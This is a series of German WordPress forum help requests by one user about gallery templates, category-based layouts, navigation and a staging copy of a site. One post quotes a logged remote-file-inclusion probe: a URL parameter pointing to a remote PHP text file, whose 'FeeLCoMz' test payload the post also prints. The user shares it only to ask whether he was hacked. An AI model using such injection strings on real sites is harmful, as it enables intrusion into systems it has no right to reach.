Beiträge von der-tom

    Tag zusammen,

    Ich baue derzeit an einem eigenen Galerie-Template für NGG und mein Wunsch ist eigentlich ganz einfach. Description nur ausgeben, wenn auch eine vorhanden ist.

    Mein Code bisher:

    PHP
    <?php if (!empty ($image->description)) : ?>
    <strong><?php echo $image->description ?></strong>
    <?php endif; ?>

    Trotzdem bekomme ich auf jedem meiner Bilder einen strong-Tag.

    Was mache ich falsch?

    tag zusammen,

    ich arbeite nun schon einige Zeit mit Wordpress und kann sagen, dass normale Themes mittlerweile recht leicht von der Hand gehen. Nun würde ich gerne ne nächste Stufe gehen und eigene Funktionen einfügen.

    Beispiel: ich habe in meinem HTML ein DIV, dass zwei Farben annehmen kann. Nun wäre es toll, wenn man im backend für jeden Artikel individuell festlegen kann, welche Farbe verwendet werden soll.

    Nur fehlt mir hier der Einstieg. Ich habe keine Ahnung wie man an sowas rangehen würde.

    Wie würdet ihr das in groben Zügen machen?
    Gibt es Links und Tutorials, die da den Einstieg erleichtern?

    Gruss
    Tom

    Hi Zusammen

    Ich habe heute mehrere merkwürdige Einträge im meinem StatPress gefunden jeweils von unterschiedlichen Rechnern.

    Beispiel:

    HTML
    fs_javascript=http://www.die-grenzreiter.com/content/download/fx29id.txt???


    (URL nicht aufzrufen - Safari gibt einen Warnhinweis!)

    Ich habe insgesamt 5 verschiedene User die diese oder ähnliche Links aufgerufen haben.

    Ist das ein Hack? Bin ich gefährdet?

    Gruss

    Tom

    Nachtrag: Hier der Inhalt einer dieser Text-Dateien:

    <?php /* Fx29ID */ echo("FeeL"."CoMz"); die("FeeL"."CoMz"); /* Fx29ID */ ?>

    Hi

    Folgendes Problem. Auf meiner Übersichtsseite habe ich Posts in derzeit 3 Kategorien eingeteilt. Nun soll eine vierte mit der ID 49 hinzukommen. Nun möchte ich jedoch bei Posts dieser Kategorie 49 eine etwas andere Gestaltung anwenden.

    Mein Code auf der Übersichtsseite schaut mehr oder weniger so aus (Den code von YAPB habe ich der Übersichtlichkeit wegen weggelassen):

    PHP
    <?php if (have_posts()) : ?>
    <!--loop beginnt-->
    <?php while (have_posts()) : the_post(); ?>
    <div class="boxgrid" id="post-<?php the_ID(); ?>">
    <a href="<?php the_permalink() ?>"  title="<?php the_title(); ?>"><?php the_title(); ?></a>
    </div>
    <?php endwhile; ?>

    Nun möchte ich, wenn das Post zur Kategorie 49 gehört zusätzlich ein DIV einbauen, dass ich über CSS dann gestalte (Es soll so ein kleines Sternchen mit einem Text darin werden - aber das nur nebenbei).

    Mein Lösungsansatz wäre, dass ich einfach statt der post-ID einfach die kategorie per

    PHP
    <?php the_category('') ?>

    als DIV-ID ausgebe. aber ich denke, das ist zu sehr gebastelt ;-)

    Wie kann ich das per ID-Abfrage lösen? Bin in PHP nicht wirklich der Held :?

    Gruss

    Tom

    ähh ok

    Okay dann gebe ich der Glaskugel mal Futter ;)

    Das Photoblog ist ein Link in der Hauptnavi. Die Kategorien sind quasi die Subnavigation. Die Übersicht zu den Textseiten soll ebenfalls in die Hauptnavigation.

    Die Frage ist nun also, kann ich eine Kategorie in die Hauptnavigation direkt aufnehmen und dann die archive.php aufrufen lassen und diese als Übersicht gestalten oder kann ich eine statische page.php so umbiegen, dass der Link der Textseiten in der Hauptnavigation aktiv bleibt, sobald man einen Beitrag angezeigt bekommt.

    Hi Monika

    ich meine damit eigendlich nur die CSS-Klasse ".current_page_parent" die Wordpress ja automatisch vergibt. Ich habe ja eine statische Seite als Übersichtsseite für die Texte in der Hauptnavigation. Mein Photoblog ist ebenfalls ein Link in der Hauptnavigation. Nun wechselt jedoch die Klasse von dem Textseitenlink auf den Photoblog-Link wodurch der User den Eindruck erhält, er befindet sich gerade im Photoblog - sieht aber gar kein Foto ;)

    Es müsste also irgendwie gehen, dass der Aktivzustand "current_page_parent" bei dem Textübersichtsseitenlink bleibt.

    Mein Lösungsansatz wäre, dass ich einfach ein CSS in die header-cat-49.php schreibe, die die Links über die ID direkt anspricht. Ist natürlich gebastel und nicht sehr schick/dynamisch...

    Gruss

    Tom

    Hi Zusammen
    Ich habe ein Wordpress-Seite mit einer statischen Startseite auf der ich die letzen 9 Einträge aus dem Photoblog zeigen möchte. Nun habe ich die Seite soweit erweitert, dass ich auch Textbeiträge schreiben kann (Danke an dieser Stelle nochmals an Monika!). Die Textbeiträge laufen alle in einer Kategorie. Diese Kategorie möchte ich jedoch jetzt von der Darstellung auf der Startseite ausschließen.

    Hier der Code für das YAPB auf der Startseite:


    Ich hatte ursprünglich gehofft, einfach mit dem Code

    PHP
    <?php
       if (is_home()) {
          query_posts("cat=-49");
       }
    ?>


    die Kategorie auch hier ausschließen zu können - geht natürlich nicht... Hat jemand eine Idee, wie ich das lösen kann?

    Gruss

    Tom

    Klappt - fast

    Hi
    Nochmals 1000Dank! Die Anleitung war fast etwas zu hoch für mich.
    Habe es aber jetzt hinbekommen. :o)

    Das Problem, dass der Aktiv-Zustand auf die Photoblog-Seite wechselt und nicht bei der Textseite bleibt besteht jedoch noch immer :o(

    Wenn ich das richtig verstanden habe geht hier die Navigation über die Kategorien (was bei mir eine Subnavi ist). Ich brauche sie jedoch in der Haupt-Navigation :o(

    Kannst Du mir noch ein letztes Mal dabei helfen?

    Gruss

    Tom

    Wow

    Wow danke erstmal! Wobei es mir langt, den Contentbereich zu gestalten. der Header kann so bleiben wie er ist...

    Was sagst Du zu dieser Lösung in der single.php:

    PHP
    <?php $post = $wp_query->post;
    if ( in_category('49') ) {
      include(TEMPLATEPATH . '/single-bilder.php');
    } else {
      include(TEMPLATEPATH . '/single-text.php');
    }
    ?>

    Gibt es daran etwas auszusetzen? Mir kommt das etwas einfacher vor. Das einzigste Problem, was ich jetzt noch habe ich der Aktiv-Zustand bei angeklicktem Artikel. Der ist nämlich beim Photoblog - nicht bei der Textseite...

    Gruss

    Tom

    Hi

    Danke erstmal für die Links. Leider klappt das nicht so ganz wie ich mir das gedacht habe.

    Die Beiträge einer Kategorie auf einer statischen Seite auszugeben ist soweit kein Problem. Auf diese Weise habe ich mir mittels dem Auszug-Tag <?php the_excerpt(); ?> eine Übersichtsseite in einer statischen Seite gebaut.

    Jetzt möchte ich jedoch, dass die Beiträge dieser Kategorie, sobald sie angeklickt wurden, ein gesondertes Layout erhalten. Also im grunde index.php und single.php mit statischen Seiten nachbauen.

    Oooder ich habe den PHP-Code nicht verstanden (was durchaus im Bereich des Möglichen liegt :o)

    Der Code


    listet mir immer alle Beiträge inkl. Text auf der einen statischen Seite auf. (Mit the_excerpt() statt the_content ebenfalls - dann aber natürlich nur der Auszugs-Text). Der Permalink öffnet den Beitrag im Photoblog-Layout. Ein "weiter"-Button erscheint leider nicht (im Beitrag ist der "more"-Tag enthalten).

    Fragen über Fragen.....


    Tom

    Hi zusammen!

    Folgende Situation:
    Ich habe hier eine Seite mit Wordpress, in der eine kleine Referenzen-Seite läuft. Für die Referenzen wird die Blogfunktion verwendet. Nun möchte ich aber gerne auch etwas Text schreiben. Den Text möchte ich jedoch nicht im Layout des Photoblogs laufen lassen sondern unter einem eigenen Hauptnavigationspunkt.

    Daher war mein Ansatz bisher, dass ich eine statische Seite erstellt habe und wie im FAQ beschrieben mit dem Tag

    PHP
    <?php query_posts('category_name=informationen'); ?>


    den Beitragstitel sowie den Anlesetext aller Beitrage der Kategorie "Informationen" auslesen lassen. Mit <?php the_permalink() ?> kann ich dann auch auf den gesamten Beitrag verlinken. Aber leider nur im Layout des Photoblogs.

    Wie schaffe ich es, dass der Beitrag in einer für diese Kategorie gestalteten statischen Seite geöffnet wird?

    Ich hoffe, es ist einigermaßen klar, was ich vorhabe. Und ich hoffe, es funktioniert :o)


    Gruss

    Tom

    Lösung

    Tag Zusammen

    Ich habe es nach einigen Recherchieren gefunden. Für diese Lösung wird das Plugin Fold Page List benötigt.

    Subnavigation 2. Ebene:

    PHP
    <?php
    $g_page_id = $wp_query->get_queried_object_id();
    $ancestorIDs = _wswwpx_page_get_ancestor_ids($g_page_id);
    $grandParent = $ancestorIDs[1]; ?>
    <ul id="submenu">
    <?php wswwpx_fold_page_list("title_li=&depth=1&sort_column=menu_order&child_of=".$grandParent); ?>
    </ul>

    Sbnavigation 3. Ebene:

    PHP
    <?php
    	$SubgrandParent = $ancestorIDs[2]; ?>
    	<ul id="subsubmenu">
    	<?php wswwpx_fold_page_list("title_li=&depth=1&sort_column=menu_order&child_of=".$SubgrandParent); ?>
    	</ul>

    Hi
    Ich habe folgendes Problem. Die einzenlen Navigationen in meiner Webseite sollen an unterschiedlichen Positionen im Layout erscheinen. Also Hauptnavgation oben, Subnavigation darunter, Sub-Subnavigation rechts...

    Mit unten stehendem Code habe ich es bereits geschafft, eine Navigation 2. Ebene nur anzeigen zu lassen, wenn der jeweilige Hauptnavigationspunkt angeklickt wurde. Auch die Positionierung ist damit möglich.

    Nur wie bekomme ich das auch für die Navigation dritter Ebene hin?
    Ich bin in PHP leider nicht sonderlich der Held. Etwas lesen geht aber mehr auch nicht...

    Hat jemand einen Tipp für mich?

    Gruss

    Tom

    Hi
    Ich möchte gerne ein Testsystem für meine Wordpress-Seite aufsetzen um Updates und Änderungen am Template zu testen. Der Datenbestand vom Live-System sollte dafür übernommen werden...

    Folgendes habe ich bisher gemacht.
    Es existiert das Livesystem sowie das Testsystem mit getrennten Datenbanken und Domains.
    Für das Backup der Datenbank des LiveSystems verwende ich das Plugin "WP-DBManager". Also dachte ich mir, dass ich das letzte Backup des Livesystems einfach in das Testsystem einlade. Nun werde ich aber beim Admin und teilweise auch auf der Testseite selbst zum LiveSystem umgeleitet - weil in der Datenbank eben auch der Link zum Blog enthalten ist (Hätte ich mir auch vorher denken können).

    Ok - Datenbank des Testsystems löschen ist soweit kein Thema aber gibt es einen einfachen Weg, ggf. über ein PlugIn, den Datenbestand des LiveSystems in das TestSystem zu überführen?

    Gruss

    Tom